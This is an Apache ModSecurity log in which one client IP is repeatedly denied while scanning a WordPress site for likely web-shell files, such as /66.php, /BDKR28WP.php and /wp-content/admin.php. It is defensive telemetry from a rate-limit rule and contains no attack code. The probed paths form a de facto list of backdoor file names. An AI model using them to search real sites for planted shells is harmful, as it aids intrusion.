[Tue Apr 21 23:13:57.073508 2026] [:error] [pid 35321:tid 35406] [client 51.120.72.131:39450] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aeeUNTeHLhVUuu8cVXwIoQAAAFY"]
[Tue Apr 21 23:14:00.297644 2026] [:error] [pid 35321:tid 35405] [client 51.120.72.131:18914] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aeeUODeHLhVUuu8cVXwIvwAAAFU"]
[Tue Apr 21 23:14:02.921733 2026] [:error] [pid 53731:tid 53748] [client 51.120.72.131:32056] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aeeUOl2I9THUR-bRVGydFgAAAg0"]
[Tue Apr 21 23:14:06.203024 2026] [:error] [pid 53731:tid 53738] [client 51.120.72.131:19373] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aeeUPl2I9THUR-bRVGydHgAAAgM"]
[Tue Apr 21 23:14:07.783727 2026] [:error] [pid 35320:tid 35341] [client 51.120.72.131:28941] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aeeUP4JW6fdXWO6agMET7QAAAAs"]
[Tue Apr 21 23:14:10.232044 2026] [:error] [pid 35320:tid 35346] [client 51.120.72.131:29736] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aeeUQoJW6fdXWO6agMET_gAAABA"]
[Tue Apr 21 23:14:11.488954 2026] [:error] [pid 35320:tid 35340] [client 51.120.72.131:3484] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aeeUQ4JW6fdXWO6agMEUEQAAAAo"]
[Tue Apr 21 23:14:13.019801 2026] [:error] [pid 35321:tid 35403] [client 51.120.72.131:27989] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aeeURTeHLhVUuu8cVXwI-wAAAFM"]
[Tue Apr 21 23:14:13.834923 2026] [:error] [pid 35415:tid 35437] [client 51.120.72.131:3795] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aeeURUiqDinI4_22zziBBwAAAMo"]
[Tue Apr 21 23:14:15.610353 2026] [:error] [pid 35320:tid 35338] [client 51.120.72.131:37075] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aeeUR4JW6fdXWO6agMEUKAAAAAg"]
[Tue Apr 21 23:14:16.349127 2026] [:error] [pid 53731:tid 53757] [client 51.120.72.131:20897] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aeeUSF2I9THUR-bRVGydPgAAAhU"]
[Tue Apr 21 23:14:17.470163 2026] [:error] [pid 35321:tid 35389] [client 51.120.72.131:37084] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeeUSTeHLhVUuu8cVXwJGAAAAEU"]
[Tue Apr 21 23:14:18.927451 2026] [:error] [pid 35320:tid 35331] [client 51.120.72.131:29732] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeeUSoJW6fdXWO6agMEURAAAAAE"]
[Tue Apr 21 23:14:20.471437 2026] [:error] [pid 53978:tid 53981] [client 51.120.72.131:21025] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeeUTJ1ivsR4hcOSQbZKigAAAoE"]
[Tue Apr 21 23:14:22.887295 2026] [:error] [pid 53978:tid 54002] [client 51.120.72.131:19557] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeeUTp1ivsR4hcOSQbZKkwAAApY"]
[Tue Apr 21 23:14:26.960723 2026] [:error] [pid 35321:tid 35408] [client 51.120.72.131:22224] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aeeUUjeHLhVUuu8cVXwJPwAAAFg"]
[Tue Apr 21 23:14:30.307767 2026] [:error] [pid 35321:tid 35399] [client 51.120.72.131:33209] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aeeUVjeHLhVUuu8cVXwJaAAAAE8"]
[Tue Apr 21 23:14:31.360031 2026] [:error] [pid 53978:tid 53989] [client 51.120.72.131:28697] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aeeUV51ivsR4hcOSQbZKqQAAAok"]
[Tue Apr 21 23:14:32.582778 2026] [:error] [pid 35321:tid 35393] [client 51.120.72.131:31024] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aeeUWDeHLhVUuu8cVXwJcwAAAEk"]
[Tue Apr 21 23:14:34.754307 2026] [:error] [pid 35320:tid 35354] [client 51.120.72.131:21039] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aeeUWoJW6fdXWO6agMEUbQAAABg"]
[Tue Apr 21 23:14:37.546416 2026] [:error] [pid 54080:tid 54086] [client 51.120.72.131:21009] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aeeUXYzEbQHHxtmWbabbVgAAAsQ"]
[Tue Apr 21 23:14:40.880568 2026] [:error] [pid 4777:tid 4794] [client 51.120.72.131:24277] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aeeUYKxXur6bykKyLZS6kgAAAQY"]
[Tue Apr 21 23:14:43.366614 2026] [:error] [pid 53978:tid 53981] [client 51.120.72.131:20993] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aeeUY51ivsR4hcOSQbZKwQAAAoE"]
[Tue Apr 21 23:14:47.552376 2026] [:error] [pid 35320:tid 35354] [client 51.120.72.131:36728] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeeUZ4JW6fdXWO6agMEUnQAAABg"]
[Tue Apr 21 23:14:50.267143 2026] [:error] [pid 35321:tid 35388] [client 51.120.72.131:21876] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeeUajeHLhVUuu8cVXwJrAAAAEQ"]
[Tue Apr 21 23:16:07.717857 2026] [:error] [pid 35321:tid 35399] [client 51.120.72.131:21371] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeeUtzeHLhVUuu8cVXwKkwAAAE8"]
[Tue Apr 21 23:16:32.354112 2026] [:error] [pid 35321:tid 35405] [client 51.120.72.131:3907] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeeU0DeHLhVUuu8cVXwKpgAAAFU"]
[Tue Apr 21 23:16:34.334115 2026] [:error] [pid 35322:tid 35367] [client 51.120.72.131:3914] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeeU0qPoAfV40BTfVKzmkQAAAIo"]
[Tue Apr 21 23:16:38.337575 2026] [:error] [pid 53978:tid 53985] [client 51.120.72.131:32004] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeeU1p1ivsR4hcOSQbZMAwAAAoU"]
[Tue Apr 21 23:16:44.074218 2026] [:error] [pid 53978:tid 53994] [client 51.120.72.131:3320] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeeU3J1ivsR4hcOSQbZMMQAAAo4"]
[Tue Apr 21 23:16:45.047179 2026] [:error] [pid 53731:tid 53752] [client 51.120.72.131:20816] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeeU3V2I9THUR-bRVGyefgAAAhA"]
[Tue Apr 21 23:16:46.221086 2026] [:error] [pid 35321:tid 35402] [client 51.120.72.131:28403] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeeU3jeHLhVUuu8cVXwKvAAAAFI"]
[Tue Apr 21 23:16:47.923703 2026] [:error] [pid 53731:tid 53750] [client 51.120.72.131:29774] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeeU312I9THUR-bRVGyeigAAAg8"]
[Tue Apr 21 23:16:50.501352 2026] [:error] [pid 4823:tid 4859] [client 51.120.72.131:24782] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeeU4vc8mke3PfHqsxERYwAAAYY"]
[Tue Apr 21 23:16:55.209652 2026] [:error] [pid 35322:tid 35378] [client 51.120.72.131:38602] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeeU56PoAfV40BTfVKzmlAAAAJU"]
[Tue Apr 21 23:16:58.786677 2026] [:error] [pid 53731:tid 53755] [client 51.120.72.131:26372] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeeU6l2I9THUR-bRVGyepgAAAhM"]
[Tue Apr 21 23:17:00.193282 2026] [:error] [pid 35320:tid 35337] [client 51.120.72.131:24056] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeeU7IJW6fdXWO6agMEWtwAAAAc"]
[Tue Apr 21 23:17:01.505064 2026] [:error] [pid 54080:tid 54104] [client 51.120.72.131:29770] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeeU7YzEbQHHxtmWbabcHQAAAtY"]
[Tue Apr 21 23:17:02.395406 2026] [:error] [pid 35320:tid 35348] [client 51.120.72.131:26186] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeeU7oJW6fdXWO6agMEWvgAAABI"]
[Tue Apr 21 23:17:03.563030 2026] [:error] [pid 35415:tid 35436] [client 51.120.72.131:27148] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeeU70iqDinI4_22zziBaAAAAMk"]
[Tue Apr 21 23:17:04.185350 2026] [:error] [pid 35320:tid 35338] [client 51.120.72.131:25449] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeeU8IJW6fdXWO6agMEWxwAAAAg"]
[Tue Apr 21 23:17:04.956804 2026] [:error] [pid 4823:tid 4856] [client 51.120.72.131:18954] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeeU8Pc8mke3PfHqsxERdAAAAYM"]
[Tue Apr 21 23:17:05.693373 2026] [:error] [pid 35320:tid 35342] [client 51.120.72.131:26217] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeeU8YJW6fdXWO6agMEW2AAAAAw"]
[Tue Apr 21 23:17:06.911338 2026] [:error] [pid 35321:tid 35406] [client 51.120.72.131:27170] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeeU8jeHLhVUuu8cVXwK8QAAAFY"]
[Tue Apr 21 23:17:19.315805 2026] [:error] [pid 53978:tid 53994] [client 51.120.72.131:27156] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeeU_51ivsR4hcOSQbZMjwAAAo4"]
[Tue Apr 21 23:17:21.071507 2026] [:error] [pid 35321:tid 35401] [client 51.120.72.131:25927] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeeVATeHLhVUuu8cVXwLNAAAAFE"]
[Tue Apr 21 23:17:22.121421 2026] [:error] [pid 35415:tid 35439] [client 51.120.72.131:27138] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeeVAkiqDinI4_22zziBcgAAAMw"]
[Tue Apr 21 23:17:23.184418 2026] [:error] [pid 35415:tid 35447] [client 51.120.72.131:29795] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeeVA0iqDinI4_22zziBcwAAANQ"]
[Tue Apr 21 23:17:25.037038 2026] [:error] [pid 35320:tid 35338] [client 51.120.72.131:19227] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeeVBYJW6fdXWO6agMEXSQAAAAg"]
[Tue Apr 21 23:17:26.379175 2026] [:error] [pid 53731:tid 53741] [client 51.120.72.131:3085] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeeVBl2I9THUR-bRVGye9QAAAgY"]
[Tue Apr 21 23:17:27.454961 2026] [:error] [pid 35320:tid 35346] [client 51.120.72.131:29777] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeeVB4JW6fdXWO6agMEXVwAAABA"]
[Tue Apr 21 23:17:28.907420 2026] [:error] [pid 35321:tid 35408] [client 51.120.72.131:3084] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeeVCDeHLhVUuu8cVXwLSAAAAFg"]
[Tue Apr 21 23:17:30.914960 2026] [:error] [pid 35320:tid 35343] [client 51.120.72.131:4014] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aeeVCoJW6fdXWO6agMEXhgAAAA0"]
[Tue Apr 21 23:17:34.611456 2026] [:error] [pid 35321:tid 35406] [client 51.120.72.131:26037] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aeeVDjeHLhVUuu8cVXwLbgAAAFY"]
[Tue Apr 21 23:17:38.520035 2026] [:error] [pid 35321:tid 35392] [client 51.120.72.131:4026] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aeeVEjeHLhVUuu8cVXwLhQAAAEg"]
[Tue Apr 21 23:17:40.951381 2026] [:error] [pid 4823:tid 4874] [client 51.120.72.131:3968] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aeeVFPc8mke3PfHqsxERkgAAAZU"]
